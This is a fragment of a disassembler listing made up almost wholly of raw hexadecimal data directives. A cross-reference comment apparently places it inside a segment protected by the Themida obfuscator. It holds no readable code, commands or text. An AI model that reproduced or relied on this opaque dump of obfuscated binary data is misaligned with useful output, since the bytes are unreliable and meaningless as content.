		dd 6A07ABBBh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 567DC355h, 0B11ADB6Ch,	0E8CCCA28h
		dd 0Bh,	0F8ABE0F9h, 0F8DDF3E7h,	8956AED9h, 0A825FD85h
		dd 858B5F07h, 7A82941h,	0C48689FCh, 8B000000h, 0A80645BDh
		dd 31958B07h, 6A07A817h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0FBA1C352h,	0DD25170Ah
		dd 2904C283h, 0A81C8595h, 20508907h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 60C35343h, 6055F672h, 0FCAB70Fh
		dd 68Eh, 800F00h, 61000000h, 0FEBF0F50h, 0C1858D5Bh, 6A07ABCFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 9F18C356h, 75C11BCFh, 660DC726h, 8689FA8Bh
		dd 0B8h, 8BFA8B66h, 0A83051BDh,	6A006A07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892BC356h
		dd 0A82AA595h, 2BB5FF07h, 6A07ABBBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 92DDC352h
		dd 95FF9CA5h, 7A814E5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 3CC35040h, 0CF711286h, 0E9112B5Dh, 0Dh
		dd 0CF4F1179h, 63EC144Bh, 89B9C898h, 0EABB66DEh, 7E95020h
		dd 79000000h, 5CF1DFCBh, 34895826h, 2BB5FF24h, 6A07ABBBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 48AFC355h, 1D0995FFh, 0B58907A8h,	7A82949h
		dd 1DFDBD83h, 0F0007A8h, 4484h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 50FE6645h
		dd 56BB5250h, 0F0D18A0h, 9E831h, 77930000h, 55B70F91h
		dd 603A2940h, 585A5F61h, 81243489h, 4341B1CFh, 2BB5FF6Eh
		dd 8907ABBBh, 0A8069195h, 0DAB70F07h, 10D595FFh, 0BD8907A8h
		dd 7A81461h, 0BB2BB5FFh, 820F07ABh, 8, 75BD8B57h, 5B07A825h
		dd 0B3995FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0D2111C3h, 4585891Eh, 8B07A830h
		dd 9D0351DFh, 7A8042Dh,	0F5BD835Fh, 207A831h, 1A840Fh
		dd 8C0F0000h, 6, 1059BD8Bh, 858B07A8h, 7A82981h, 0CB3A7BBh
		dd 0C67Fh, 21C985C7h, 7A8h, 0D8B30000h,	0FFF43DE9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0E7F8ABE0h, 0D9F8DDF3h, 9BBC18Bh, 8D2D39E7h,	0A8042585h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 791D5429h, 335805BCh, 89DE8A11h,	0A83135B5h
		dd 0A58D8907h, 5007A80Eh, 6A6854BBh, 2404890Ah,	14E960h
		dd 53670000h, 0DAA05AC3h, 0FFDC86DEh, 3A91A8CCh, 64CCFB33h
		dd 6A617E7Ch, 0B5B58900h, 0E907A80Fh, 11h, 0FC3227E7h
		dd 0E5DF1F7Fh, 4479D5EFh, 2E935D47h, 66006A79h
		dd 858DFB8Bh, 7ACE84Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 12C35545h, 1F055D19h,	29D88B66h, 0A810FD85h
		dd 5C08307h, 50DBB70Fh,	5E852h,	68BF0000h, 50B177B3h, 5A310F52h
		dd 895B5F58h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0EE16B4C3h, 52D6FAACh, 5DBD8B49h
		dd 6007A815h, 705FAABEh, 11B96620h, 6A6138h, 14959D8Bh
		dd 6A07A8h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	72C35747h, 3995FF89h, 8907A81Bh, 0A806AD95h, 3B8D8D07h
		dd 6A07AB9Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0FCADC356h, 0EE858C0h,	9E000000h
		dd 36D2EF4Ch, 5216F03Fh, 2567A189h, 6D8589ADh, 5B07A82Eh
		dd 2A4D8589h, 0D1FF07A8h, 0D014CB81h, 0BD833737h, 7A806A5h
		dd 0E4850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 15B0C356h, 0D6A5CC6Ah
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 62942FC3h, 0BE9D908h, 76000000h, 0CA6AC3A3h
		dd 0D2376B6h, 66523778h, 8B5BF98Bh, 0A82C3DBDh,	7E85007h
		dd 70000000h, 12119291h, 0D88A8EA2h, 2404895Fh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 14C35747h, 0AADF8024h
		dd 25B1B509h, 95FF07A8h, 7A814E5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 7C35141h, 0EE8h, 192B4500h
		dd 676C82A4h, 2EF93C46h, 0F9BA0E07h, 0BE95Bh, 0EBF70000h
		dd 0B9D7381Eh, 25150DEEh, 0D9BD3153h, 0E907A818h, 0EBBh
		dd 0E8h, 0ED815D00h, 7ACE858h, 23D58D09h, 6A07A8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0F2560BC3h, 0CA50F18Bh, 9D8B7184h, 7A80FD9h,	858DD98Ah
		dd 7AB8C03h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0A1C35141h, 21C370B4h, 8589C70Fh, 7A804F1h, 1800Fh
		dd 90F90000h, 6E96050h,	41000000h, 0F4AFAD72h, 0FE8FBE49h
		dd 90613652h, 0FF64FAB3h, 35h, 5EBB6600h, 2589646Ch, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A0C35545h
		dd 765D9082h, 97EB1B8h,	85FFFB8Bh, 7A80EE5h, 6AFF6AF5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 666FC357h, 0FF3315BFh, 0A808B1B5h, 4FCB8107h
		dd 0FF67A045h, 0A8246D95h, 102E907h, 0B00000h, 15059D33h
		dd 70E607A8h, 5890Fh, 1BB0000h,	8157A289h, 345852EFh, 0E871E467h
		dd 12h,	0E290C79h, 0E6104E24h, 0BAFF1AC1h, 4EA70CCFh, 9D8B1DF1h
		dd 7A80861h, 0F613C5Fh,	0BF83h,	0B60FFC00h, 6BAC8h, 0BD2B0000h
		dd 7A82C45h, 0EE8C18Bh,	5B000000h, 77F22A60h, 0D8AB80F6h
		dd 3E7E0C58h, 0C0BF6640h, 0E8C15B1Ch, 8DF38104h, 0F2BF0E8h
		dd 0F766FABFh, 8BC82BE2h, 1D18BFEh, 0A81091B5h,	76E907h
		dd 0CB810000h, 0A6FB55Fh, 4858Bh, 7E90000h, 9000000h, 1A064257h
		dd 0C0833C7Eh, 0D7816607h, 0C0839C37h, 0DAB70F00h, 830FD03Bh
		dd 17h,	6E9h, 0A7090200h, 66907665h, 382FD381h,	33E9h
		dd 8BFD8A00h, 0FFFFFF8Dh, 2D9D8BFFh, 8307A821h,	840F01E1h
		dd 1Ch,	83FB8B66h, 0FFFFFFA5h, 89F5FEFFh, 495h,	0FCDB8100h
		dd 0E91EF871h, 0
aN_mJ		db 'µÙ_¬',7,'j',0
		dd 0A8B0EF81h, 95FF3A25h, 7A80D21h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 33C35545h, 0BD319369h, 7A80B05h
		dd 0FACB9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 8954E5C2h, 9BD8B63h, 8307A81Eh, 6AFCE1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 120F46C3h, 66FC4C40h, 0C02BFE8Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 5FC35040h, 14E8BD30h, 6A000000h
		dd 131A6DCEh, 4B9213EFh, 0BDD5BB69h, 0E9D700Eh,	5BB42610h
		dd 0BAh, 0B5958900h, 0AD07A834h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 97DFC353h, 0F5084F1h, 689h, 519D2B00h
		dd 5B07A830h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0E0C35040h, 0D9852957h,	5F07A803h, 880Dh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 82598655h, 0B5C3E4CFh, 2DE59529h, 958B07A8h,	7A81731h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BDC35646h
		dd 340C6E14h, 8F0F62h, 8B000000h, 0A80A598Dh, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 57600D35h, 0E85A50B3h, 8, 43C16182h,	0CB6C6613h, 26BD8531h
		dd 615A07A8h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0BD035818h, 7A830B1h, 2C55B589h, 0BD8307A8h,	7A81885h
		dd 67840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 29E9C350h, 0FAA90101h
		dd 9D8BF2A1h, 7A81429h,	3FEB8166h, 0B80Eh, 9D8B0000h, 7A832C1h
		dd 4E4D8D8Dh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0EBAA02C3h, 0E1FFFFE3h, 23418D01h
		dd 0BD8307A8h, 7A80939h, 0D1840F00h, 0BB000004h, 50C555F3h
		dd 25A99D8Bh, 0BD8307A8h, 7A80939h, 0D4840F01h,	66000004h
		dd 0BD83FE8Bh, 7A80939h, 8E860F03h, 60000004h, 0CCEAC381h
		dd 0E6800594h, 9D8B612Ah, 7A81D2Dh, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8E0FD55Dh
		dd 16h,	108C0Fh, 0BE90000h, 79000000h, 52DBE427h, 9634E09Ch
		dd 8C6618BCh, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FE1B4A0h, 85h, 4E18000h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h, 0FB8B66F4h
		dd 2AA5BD8Bh, 0C90A07A8h, 126840Fh, 81660000h, 8B4131C3h
		dd 0A80BB185h, 14E807h,	2A2C0000h, 1AF6086h, 9B533F4Fh
		dd 1FEC904Bh, 95D0D9A2h, 8D318DDBh, 7A83095h, 7185335Fh
		dd 0F07A828h, 18Ch, 0E990F500h,	0Ah, 506FD1BCh,	3430E078h
		dd 665096A6h, 190FE8Bh,	0A834C5B5h, 6A006A07h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0C40BC352h, 0C8D8CABh, 68A8B31Dh, 0DECDB316h, 0FE8h
		dd 1DDDF600h, 0A7246D88h, 0C9B3656h, 0EE39D653h, 5B505250h
		dd 0F88A310Fh, 815F585Ah, 50E92404h, 9D332151h,	7A8190Dh
		dd 53995FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E99DBBC3h, 0Bh,	0C50F8F42h, 0E1BFCF83h
		dd 8960F9A6h, 0ABBB2B85h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0A84574CCh
		dd 0EA601B50h, 27E1BD8Bh, 66E907A8h, 0E9000002h, 0Fh, 96F615A4h
		dd 0B443945Eh, 84D1239Ah, 0F901D176h, 0BB23858Bh, 0F88B07ABh
		dd 1800C7h, 800F0000h, 6, 14459D89h, 0B58B07A8h, 7ABBB27h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A3C35242h
		dd 0F421063Bh, 0DC61B76Bh, 6810Fh, 0BD8B0000h, 7A82A0Dh
		dd 66FBB70Fh, 0B70FDB81h, 0CCD858Bh, 6A07A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4623C1C3h
		dd 81B23EE0h, 51FD10C3h, 6A068914h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7F41C356h
		dd 93FF09CAh, 7DBD23F0h, 0E807A829h, 0Eh, 90A4B758h, 9883402Fh
		dd 0EF3AA5E8h, 5FF8C090h, 0BB1858Bh, 315707A8h,	0A830819Dh
		dd 46895F07h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0DE782ED0h, 4C1E854h, 9BB6634h, 498D29DFh
		dd 5007A80Fh, 348979B3h, 0D98B6624h, 6860Fh, 9D0B0000h
		dd 7A810FDh, 0BB23B5FFh, 6A07ABh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0B75A4C3h, 8890Fh, 9500000h
		dd 0A828D99Dh, 9D895B07h, 7A81CA1h, 90994768h, 60525018h
		dd 0DCE5BE66h, 56310F61h, 5A5B5B56h, 24348158h,	188F9AB8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4C35545h
		dd 2189D248h, 0C2A0B295h, 41BD2B77h, 907A819h, 0A81A55B5h
		dd 2B858D07h, 6A07ABBBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 8CA4C357h, 0AE17BDB4h
		dd 0D94D5B04h, 542EBF66h, 12E86050h, 4E000000h,	94028A0Fh
		dd 0C1364C97h, 2B390D4Ah, 941C479Dh, 0DE8D9h, 4E4A0000h
		dd 311D1C5Eh, 0C8ECCB78h, 5FC17CFDh, 61C0B459h,	6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 9AF9C350h, 0F1ABF736h, 3995FF70h,	6A07A805h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0D189C353h, 0A1F224B2h, 8BBCBA7Ah, 0A82CD1BDh
		dd 81666107h, 0C7E3DBDFh, 0A8093985h, 307h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B8A4Ch, 7A81755h, 0BB2BBD83h, 0F0007ABh,	3484h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B529D9E5h, 7A80761h, 8099D2Bh, 21E907A8h
		dd 89000000h, 0A825FDBDh, 0C305007h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0C933BB66h, 8AC9DF81h, 0BD832F41h
		dd 7A80939h, 0C8850F03h, 8B000004h, 0A81CEDBDh,	2BBD8307h
		dd 7ABBBh, 4B5840Fh, 0BE80000h,	2B000000h, 6E0D71C0h, 1646716Bh
		dd 0DF81AA58h, 5EA388Ah, 2BB5FF5Fh, 2907ABBBh, 0A813618Dh
		dd 0D18D8907h, 0FF07A833h, 0A8247595h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0F5924D0Ah, 14BB65FAh, 8B051836h, 0ABBB1FB5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h
		dd 0C3574700h, 27477EC7h, 106C7h, 6A0001h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 96278CC3h
		dd 0CE8h, 21C0FB00h, 0B45DAEAEh, 0BC24248Ch, 0C816BF06h
		dd 505F46CBh, 0DEBF0F96h, 0BB2BB5FFh, 6A07ABh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0C74B5C3h, 0BD09F35Ah, 7A8305Dh, 23E595FFh, 6A07A8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 7795D4C3h, 0B6F09F73h, 89C29D5Ch, 0A82CD19Dh, 1FB58B07h
		dd 0F07ABBBh, 68Ah, 0DDBD8B00h,	8B07A807h, 0A8294185h
		dd 0FBBF0F07h, 569BD8Bh, 868907A8h, 0C4h, 31958BF8h, 6A07A817h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B4B3C351h, 76CB6A0Ah, 8529CCEEh,	7A83271h
		dd 0E904C283h, 6, 369DA8C8h, 14E99950h,	1D000000h, 420EDFA2h
		dd 6C9563D7h, 8CF8EA20h, 819151A8h, 899BB0EBh, 85892050h
		dd 7A80A09h, 0CFC1858Dh, 6A07ABh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0E2CF70C3h, 0DC5B9550h
		dd 6650E8A2h, 8989DB81h, 0B886895Fh, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 1251C350h, 0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch
		dd 76BBB462h, 0BF0F006Ah, 2BB5FFFAh, 0E907ABBBh, 12h, 890B0153h
		dd 0EEFDF228h, 0C0843B09h, 807D810h, 0CE9D6C4h,	1E000000h
		dd 41A4968Ch, 0B59DA11Fh, 0FFA5D573h, 0A814E595h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 663AA8EFh, 96FAE2BBh, 88F0Fh, 50510000h, 5A310F52h
		dd 60505B58h, 0BE85250h, 4A000000h, 0C8B439ECh,	0E2636E35h
		dd 0F5A611Ch, 66585A31h, 9661F18Bh, 2C138BBFh, 2BB5FF39h
		dd 6A07ABBBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 1274C356h, 0BF668B47h,	95FF6D9Fh
		dd 7A81D09h, 8F0F6060h,	0
		dd 0BE9h, 0FDEB500h, 739F6C9Ah,	0DFC88E27h, 12E961h, 0B250000h
		dd 0D6D8094Dh, 403CDF60h, 53D318D6h, 2FFD8D2Fh,	0FDBD8361h
		dd 7A81Dh, 6A840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 552CE0C3h, 2DF4B377h
		dd 52506050h, 0BE9h, 69039E00h,	0CAE63B43h, 0DF06C15Ah
		dd 8C0F310Fh, 0
		dd 0B966585Ah, 8961176Ch, 6A2434h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 66A126C3h, 0DEB70FD2h
		dd 0BB2BB5FFh, 6A07ABh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 65E419C3h, 59858955h, 0E907A800h
		dd 0Dh,	96C1CAA7h, 0F6E35487h, 0B73A9D84h, 0D595FF96h
		dd 6607A810h, 0A3FCF81h, 8E9h, 0A4BB9200h, 55C60194h, 2BB5FF49h
		dd 6A07ABBBh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 2036C352h, 0E2439A54h,	0E0816060h
		dd 4299B73Eh, 4CC88161h, 61664184h, 0B3995FFh, 6A07A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B5DF6FC3h, 25AA1C3Dh, 9D89E232h, 7A82B19h, 31F5BD83h
		dd 0F0207A8h, 6384h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 2BAC22A1h, 0A834E59Dh
		dd 859D8B07h, 8B07A834h, 0A80485BDh, 81858B07h,	0F07A829h
		dd 0C6F9BFh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 85E0932Fh, 0BD8927D5h, 7A80601h
		dd 21C985C7h, 7A8h, 10E90000h, 0DD000000h, 405F3270h, 7753DBD3h
		dd 467290D1h, 0E9A98751h, 0FFFFF275h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 40C35747h, 0B5F87951h, 0CE9E0h
		dd 87290000h, 879EC231h, 26BAC4ECh, 0C18BBADEh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4C35747h, 8AF41A34h
		dd 0E0D781F9h, 0F510084h, 68Dh,	199D8B00h, 8D07A803h, 0A8042585h
		dd 0DBDF8107h, 904687ECh, 8E00BF66h, 0FE950h, 0ADCE0000h
		dd 7592CD73h, 3630529h,	39A1A39Ch, 6A9017h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0EA98C3h
		dd 0AD817BCCh, 0E59531BCh, 6A07A80Ch, 45BD0100h, 0E907A830h
		dd 10h,	94063450h, 39D8320Bh, 137A00C8h, 0A345114Fh, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0E37094C3h, 8205CEB2h, 0F663BC3h, 858DDFB7h,	7ACF92Bh
		dd 12E9h, 0BB07B00h, 0FE5A596Eh, 443D2D32h, 8C4AE6BBh
		dd 667D9062h, 0C083FB8Bh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 665F26FDh
		dd 8B50DE8Bh, 240489D9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0B1C35242h, 0D5911DBCh, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 36197DC3h, 0EB22C6F4h, 6AEB0BDBh, 0A5858900h, 0FF07A810h
		dd 0A81B3995h, 6810F07h, 8B000000h, 0A827319Dh,	3B8D8D07h
		dd 6A07AB9Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 7EB6C355h, 6EFE5EA0h, 8BA62ED6h
		dd 6AD1FFFAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 8E75C353h, 460114EEh, 10E8h, 8F249500h
		dd 1D95DA31h, 24036B30h, 0B58A086Dh, 0FA8B66FAh, 0A5BD835Bh
		dd 107A806h, 66850Fh, 26A0000h,	0BDD78166h, 0DE990B7h
		dd 80000000h, 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 56606050h
		dd 61C18B5Bh, 0D78B5250h, 585A310Fh, 6A9061h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 2CF7A1C3h
		dd 0D549C922h, 0FC01C33h, 95FFF9B7h, 7A814E5h, 8D8D8B60h
		dd 6607A808h, 61D3A6B9h, 0DB5E9h, 0E800h, 815D0000h, 0ACF935EDh
		dd 9D89F907h, 7A83429h,	8C03858Dh, 0BD2907ABh, 7A80035h
		dd 21BF6690h, 850F507Dh, 2, 6A90FA8Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0B7C1C355h
		dd 0DE18589h, 870F07A8h, 0
		dd 35FF64h, 8B000000h, 0A808B59Dh, 25896407h, 0
		dd 0E585FFF5h, 0F807A80Eh, 1EBFFF6Ah, 0FF647FB8h, 0A81961B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 81360C10h, 0F8BF0F22h, 246D95FFh, 17E907A8h
		dd 0FC000001h, 9D8900B0h, 7A81969h, 858970E6h, 7A81A65h
		dd 0DF8B71E4h, 31F1BD33h, 613C07A8h, 0F4830Fh, 0B5090000h
		dd 7A81521h, 8BC8B60Fh,	0A82AC1BDh, 6BA07h, 890F0000h
		dd 9, 3840Fh, 8B660000h, 8BC18BDEh, 0A82CE9BDh,	4E8C107h
		dd 0F766FB8Bh, 718589E2h, 2B07A814h, 7DBD89C8h,	8B07A822h
		dd 5880FD1h, 66000000h,	6826EF81h, 0A1E9h, 0C19D8B00h
		dd 8B07A807h, 4C4C4485h, 98E7805Fh, 8B07C083h, 0A80EF5BDh
		dd 5860F07h, 66000000h,	0E64FCF81h, 2B00C083h, 0A81369BDh
		dd 0FD03B07h, 1883h, 0BE900h, 67CD0000h, 3558D701h, 7E3B7BFEh
		dd 58E953h, 8B660000h, 0FF8D8BDFh, 8BFFFFFFh, 0A80465BDh
		dd 1E18307h, 40840Fh, 85010000h, 7A81CD1h, 10E8h, 9E6DCA00h
		dd 7C13D98h, 0A6960EEBh, 0E9AF98D0h, 81958901h,	5B07A80Eh
		dd 0FFFFA583h, 81FEFFFFh, 694C3EEBh, 44958906h,	2B5F4C4Ch
		dd 0A82F99BDh, 0E907h, 0B58D0000h, 7AC6F85h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B5C35545h, 9676743h
		dd 0A806A9BDh, 0F006A07h, 95FFFBBFh, 7A80D21h, 5DBE6660h
		dd 0C4E0806Eh, 1005B961h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 110EACC3h, 0B887AAF6h
		dd 0F898D09h, 0E18307A8h, 658589FCh, 0B07A800h,	0A83369BDh
		dd 0B589FC07h, 7A80695h, 0B8h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0AF4B68A7h
		dd 0F59D8B82h, 8107A808h, 91CB0BF7h, 6AD22B68h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 2F4BC351h, 0C233ADD5h, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 76F2432Ah, 880Dh, 3D9D8900h,	8B07A829h, 0A8173195h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 26D0F4F8h, 598D8BF4h, 6A07A80Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 4425C357h, 24CAF063h, 0E889898Ah, 10h, 0CEB9772Bh, 0B8A365C2h
		dd 433DD254h, 0B356AAAFh, 0AA98D89h, 505F07A8h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 55006A46h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0AC22A18Ah, 85BD836Eh, 7A818h, 0AA840Fh, 1520000h, 0A8351585h
		dd 0B85F07h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 51C1C351h, 11E9h, 16175500h
		dd 2BED2EBFh, 6F5EB301h
dword_5D1168	dd 4EC3A787h, 8D8D1435h, 7A84E4Dh, 0E855006Ah, 3, 5DC35D20h
					; DATA XREF: Themida_:005957C1o
		dd 4246C89h, 4244481h, 1Ah, 92C35545h, 337A209Ch, 0DE827BBh
		dd 0A7000000h, 0C4542A8Ah, 610727E2h, 775DC38Ch, 6800Fh
		dd 8D890000h, 7A82D11h,	0FE85Fh, 9F3B0000h, 8E64B6C8h
		dd 5F335E2Fh, 0E1E94FDBh, 0E5858928h, 5F07A833h, 0B509E1FFh
		dd 7A83569h, 939BD83h, 0F0007A8h, 43584h, 0B70F5100h, 0BD835BD9h
		dd 7A80939h, 3E840F01h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7F68C350h
		dd 66FC6B2Bh, 0E1649F47h, 939BD83h, 0F0307A8h, 3D686h
		dd 45BD3300h, 6007A823h, 0E759D0Bh, 0BB6607A8h,	8C6648F6h
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 6CE6052Ah, 0E180B34Bh, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 7A21545Dh, 46DF813Ah, 8103D2C4h, 0A377C3E3h,	0FC90A1Bh
		dd 14284h, 33EAB300h, 0A80F99BDh, 0B1858B07h, 0E907A80Bh
		dd 10h,	2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 28718533h
		dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B05527C3h, 9F121C45h, 860F7959h,	3, 90FEBF0Fh
		dd 8A0F5250h, 3, 0FF98B66h, 0D88B6631h,	9050585Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 1BC35141h, 263751D6h
		dd 28219D8Bh, 6A07A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
